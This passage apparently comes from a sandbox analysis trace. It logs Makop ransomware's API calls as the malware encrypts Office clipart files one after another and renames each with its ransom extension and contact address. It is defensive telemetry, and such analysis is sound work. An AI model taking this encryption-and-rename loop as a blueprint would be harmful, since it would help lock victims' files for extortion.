Office\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.488] GetProcessHeap () returned 0x48a0000 [0139.488] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.488] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.488] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.489] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.494] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.494] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.494] GetProcessHeap () returned 0x48a0000 [0139.494] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.494] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.494] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.494] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.494] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.495] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.495] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.495] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.496] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.496] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.496] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.496] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.496] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x788, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x788, lpOverlapped=0x0) returned 1 [0139.496] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x790, dwBufLen=0x790 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x790) returned 1 [0139.496] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.496] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x790, lpOverlapped=0x0) returned 1 [0139.497] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.497] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.497] SetEndOfFile (hFile=0xf0) returned 1 [0139.503] GetProcessHeap () returned 0x48a0000 [0139.504] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.504] GetProcessHeap () returned 0x48a0000 [0139.504] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.504] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.504] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.506] CloseHandle (hObject=0xf0) returned 1 [0139.506] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb8fc300, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb8fc300, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0xba4, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00807_.WMF", cAlternateFileName="")) returned 1 [0139.506] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF") returned 63 [0139.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.507] GetProcessHeap () returned 0x48a0000 [0139.507] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.507] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.507] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.507] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0139.512] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.512] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.512] GetProcessHeap () returned 0x48a0000 [0139.512] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.512] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.512] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.513] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.513] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.513] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.513] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.513] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.513] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.514] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.514] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.514] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.514] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xba4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xba4, lpOverlapped=0x0) returned 1 [0139.514] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbb0, dwBufLen=0xbb0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbb0) returned 1 [0139.514] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.514] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xbb0, lpOverlapped=0x0) returned 1 [0139.514] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.514] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.514] SetEndOfFile (hFile=0xf0) returned 1 [0139.520] GetProcessHeap () returned 0x48a0000 [0139.520] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.520] GetProcessHeap () returned 0x48a0000 [0139.520] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.520] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.520] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.522] CloseHandle (hObject=0xf0) returned 1 [0139.522] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bce0800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7bce0800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00808_.WMF", cAlternateFileName="")) returned 1 [0139.522] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF") returned 63 [0139.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.525] GetProcessHeap () returned 0x48a0000 [0139.525] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.525] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.525] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.525] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0139.529] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.529] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.529] GetProcessHeap () returned 0x48a0000 [0139.529] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.529] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.529] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.529] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.529] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.529] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.530] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.530] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.530] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.530] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.530] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.530] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.531] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x514, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x514, lpOverlapped=0x0) returned 1 [0139.531] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x520, dwBufLen=0x520 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x520) returned 1 [0139.531] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.531] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x520, lpOverlapped=0x0) returned 1 [0139.531] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.531] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.532] SetEndOfFile (hFile=0xf0) returned 1 [0139.541] GetProcessHeap () returned 0x48a0000 [0139.541] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.541] GetProcessHeap () returned 0x48a0000 [0139.542] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.542] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.542] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.544] CloseHandle (hObject=0xf0) returned 1 [0139.544] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d6900, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe92d6900, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00809_.WMF", cAlternateFileName="")) returned 1 [0139.544] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF") returned 63 [0139.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.545] GetProcessHeap () returned 0x48a0000 [0139.545] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.545] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.545] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.545] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.549] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.549] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.549] GetProcessHeap () returned 0x48a0000 [0139.549] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.550] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.550] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.550] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.550] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.550] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.550] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.550] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.550] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.551] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.551] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.551] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.551] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x608, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x608, lpOverlapped=0x0) returned 1 [0139.551] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x610, dwBufLen=0x610 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x610) returned 1 [0139.551] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.551] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x610, lpOverlapped=0x0) returned 1 [0139.551] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.551] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.551] SetEndOfFile (hFile=0xf0) returned 1 [0139.558] GetProcessHeap () returned 0x48a0000 [0139.558] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.559] GetProcessHeap () returned 0x48a0000 [0139.559] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.559] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.559] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.560] CloseHandle (hObject=0xf0) returned 1 [0139.560] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: 